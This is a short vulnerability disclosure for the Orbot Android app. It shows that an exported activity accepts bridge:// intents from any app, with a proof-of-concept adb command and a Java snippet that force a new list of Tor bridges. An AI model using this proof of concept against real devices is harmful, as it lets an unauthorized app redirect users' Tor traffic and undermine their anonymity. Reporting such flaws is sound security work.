[Android org.torproject.android] Possible to force list of bridges

How it was found

Do the following thing from ADB to emulate the activity start:

adb am start -n org.torproject.android/.OrbotMainActivity -a android.intent.action.VIEW -d bridge://xxx

Or create a malware app with the following code:

        Intent intent = new Intent("android.intent.action.VIEW");
        intent.setClassName("org.torproject.android", "org.torproject.android.OrbotMainActivity");
        intent.setData(Uri.parse("bridge://xxx"));
        startActivity(intent);

And new list of bridges will be applied (notification will be shown and new value will be added to shared_prefs).

It's dangerous because any not authorized app (third party app) installed on the same device will be able to modify settings. On the newest Android devices this not authozed change can be done remotely from any web-browser using Instant Apps (app that doesn't require install to execute any code).